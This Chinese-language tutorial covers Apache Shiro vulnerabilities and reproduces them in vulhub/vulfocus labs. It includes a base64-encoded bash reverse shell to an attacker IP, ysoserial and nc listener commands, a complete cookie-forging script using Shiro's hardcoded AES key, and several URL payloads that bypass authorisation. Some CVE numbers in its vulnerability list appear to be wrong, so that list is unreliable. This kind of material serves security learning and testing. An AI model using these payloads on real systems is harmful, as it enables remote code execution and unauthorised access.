一、Apache Shiro 简介
1、什么是shiro
Apache Shiro提供了认证、授权、加密和会话管理功能,将复杂的问题隐藏起来,提供清晰直观的API使开发者可以很轻松地开发自己的程序安全代码。并且在实现此目标时无须依赖第三方的框架、容器或服务,当然也能做到与这些环境的整合,使其在任何环境下都可拿来使用。
Shiro将目标集中于Shiro开发团队所称的“四大安全基石”-认证(Authentication)、授权(Authorization)、会话管理(Session Management)和加密(Cryptography):
- 认证(Authentication):用户身份识别。有时可看作为“登录(login)”,它是用户证明自己是谁的一个行为。
- 授权(Authorization):访问控制过程,好比决定“认证(who)”可以访问“什么(what)”.
- 会话管理(SessionManagement):管理用户的会话(sessions),甚至在没有WEB或EJB容器的环境中。管理用户与时间相关的状态。
- 加密(Cryptography):使用加密算法保护数据更加安全,防止数据被偷窥。
对于任何一个应用程序,Shiro都可以提供全面的安全管理服务。并且相对于其他安全框架,Shiro要简单的多。
详细信息: 百度百科-shiro安全框架
2、历史漏洞信息
详细漏洞信息请参考阿里云漏洞库,部分漏洞信息如下:
- Apache Shiro <= 1.2.4 默认密钥致命令执行漏洞【CVE-2016-4483】
- Apache Shiro < 1.3.2 验证绕过漏洞【CVE-2016-2807】
- Apache Shiro < 1.4.2 cookie oracle padding漏洞 【CVE-2019-12442】
- Apache Shiro < 1.5.2 验证绕过漏洞 【CVE-2020-1957】
- Apache Shiro < 1.5.3 验证绕过漏洞 【CVE-2020-11989】
- Apahce Shiro < 1.6.0 验证绕过漏洞 【CVE-2020-13933】
- Apahce Shiro < 1.7.1 权限绕过漏洞 【CVE-2020-17523】
3、Shiro框架指纹识别
在请求包的Cookie中为 rememberMe字段赋任意值,收到返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段,说明目标有使用Shiro框架,可以进一步测试。
二、Apache Shiro <= 1.2.4 默认密钥致命令执行漏洞
1、漏洞介绍
漏洞原理: Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie,在服务端接收cookie值后,Base64解码–>AES解密–>反序列化。攻击者只要找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化–>AES加密–>Base64编码,然后将其作为cookie的rememberMe字段发送,Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。因此该漏洞的关键点就在于找到AES的加密秘钥。
又因为Shiro 1.2.4及之前的版本中,AES加密的密钥默认硬编码在代码里(SHIRO-550),因此对于漏洞利用也产生了更加直接的危害。同很多开源项目也使用了shiro,存在公用AES秘钥的情况,也增加了秘钥泄露的风险。
漏洞分析: 和天网安实验室知乎文章
2、漏洞复现
-
打开复现环境(使用vulhub docker 搭建),是一个默认的登录框,输入信息,勾选 Remember me,提交,查看返回的数据包,set-Cookie字段存在remenberme=deleteme,熟悉该漏洞的肯定瞬间就乐了,这正是shiro存在反序列化漏洞的经典标志。
-
进行漏洞利用第一步,使用jackson编码反弹shell的命令。
-
d第二步:使用ysoserial中JRMP监听模块,监听6666端口。
执行命令:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtSSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3LjEzMi83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}'
-
第三步:使用nc监听攻击机上的7777端口:
nc -lvvp 7777
-
第四步:使用shiro-exploit.py获取shiro的默认key (工具地址:https://github.com/insightglacier/Shiro_exploit)
-
第五步:使用shiro.py生成payload(需要自己改key,shiro.py代码如下:)
命令:
shiro.py 192.168.17.132:6666
shiro.py:
import sys import uuid import base64 import subprocess from Crypto.Cipher import AES def encode_rememberme(command): popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__': payload = encode_rememberme(sys.argv[1]) print ("rememberMe={0}".format(payload.decode()))
-
第六步:登录后抓包,替换数据包中的cookie值为shiro.py生成的rememberMe。
-
反弹sehll成功。
三、Apache Shiro < 1.5.2 验证绕过漏洞
1、漏洞介绍
漏洞简介: CVE-2020-1957,Spring Boot中使用Apache Shiro进行身份验证、权限控制时,可以精心构造恶意的URL,利用Apache Shiro和Spring Boot对URL的处理的差异化,可以绕过Apache Shiro对Spring Boot中的Servlet的权限控制,越权并实现未授权访问。
攻击payload: /xxxxx/..;/admin
权限绕过的基本原理: 传入的恶意访问路径/xxxxx/..;/admin
,经过shiro校验处理时,会在;
处进行截断,对/xxxxx/..
路径进行权限校验,而该路径又恰好满足校验规则,从而检验成功后将传入的路径/xxxxx/..;/admin
交给spring boot 的控制器进行解析,而spring boot的解析后的路径是访问/admin
,从而返回/admin
路径下的内容给攻击者,从而实现权限绕过。
**漏洞详细分析: **先知论坛“茜さす”的博客
2、漏洞复现
-
启用vulhub的CVE-2020-1957的漏洞环境,访问admin路径,跳转到login页面,说明存在权限认证。
-
使用攻击payload
/xxxxx/..;/admin
进行访问,成功绕过权限认证,范文到admin路径。
四、Apache Shiro < 1.5.3 验证绕过漏洞
1、漏洞介绍
漏洞原理:
和CVE-2020-1957的shiro权限绕过类似,都是由于shiro和springBoot的验证机制差异化导致的。我们在访问一个被不需要鉴权就能访问的页面的时候,如果在后面加上;/一个需要权限的路径
,在分号的地方会被shiro截断,从而绕过鉴权。
漏洞分析: 先知论坛 13yxd博客
2、漏洞复现
此处偷个懒,使用CVE-2020-1957的环境进行复现。
我们找一个不需要鉴权的页面进行访问,比如根目录。在其后加上;
,再加上一个需要鉴权的目录进行访问(/admin/)。访问结果如下,成功绕过鉴权访问到admin目录:
五、Apahce Shiro < 1.6.0 验证绕过漏洞
1、漏洞介绍
漏洞原理: Apache Shiro的CVE-2020-11989修补补丁依旧存在缺陷,由于shiro和spring在处理url中仍然存在差别,通过构造特殊的HTTP请求,可以再次绕过授权,访问未授权的信息。其关键点还是在于shiro对URI的处理与Spring对URI处理方式的不同。
此次漏洞的不同点在于,传入一个payload:/admin/%3bpage
后,shiro是先url解码再去除;
,而spring则相反,是先去除;
再进行url解码。因此导致漏洞。
漏洞分析: 先知论坛ELPSYCONGROO的博客
2、漏洞复现
访问漏洞环境(漏洞环境在 http://vulfocus.fofa.so),输入payload为: /admin/%3bxxxx
,成功访问到受保护的页面。
3、漏洞对比
CVE-2020-13933虽然是CVE-2020-11989的绕过,然而两者的绕过内容却不同。
11989针对于/admin/page
,这种固定路由,shiro得到的地址为/
,因此认为可以访问,Spring得到的地址为/admin/page
,从而定位到未授权的页面
13933则是匹配非固定地址路由,比如/admin/{name}
,因为shiro得到的是/admin/
,是个目录,默认是可以访问的,只是该目录下的资源需要验证,而Spring得到的是/admin/;page
,如果也采取固定路由,则会因为找不到;page
,从而返回404
六、Apahce Shiro < 1.7.1 权限绕过漏洞
1、漏洞介绍
漏洞原理:
和其他shiro权限绕过漏洞一样,其基本原因都是在于其鉴权机制和spring鉴权机制不一样,导致的权限绕过。其被绕过的原因在于,访问一个受限的目录,在其目录后面加上一个空格,成为受限目录/%20/
这样的形式的时候,由于shiro在校验时,会删除字符串中的空格,导致匹配失败,该路径就不会进行鉴权。而spring在匹配是,匹配到的就是正常输入的路径 /受限目录/%20
,就会按照正常逻辑进行响应,造成鉴权绕过。
漏洞分析: jweny的先知社区
2、漏洞复现
漏洞环境: http://vulfocus.fofa.so/
按照payload,访问/admin/%20/
,成功绕过鉴权访问到admin页面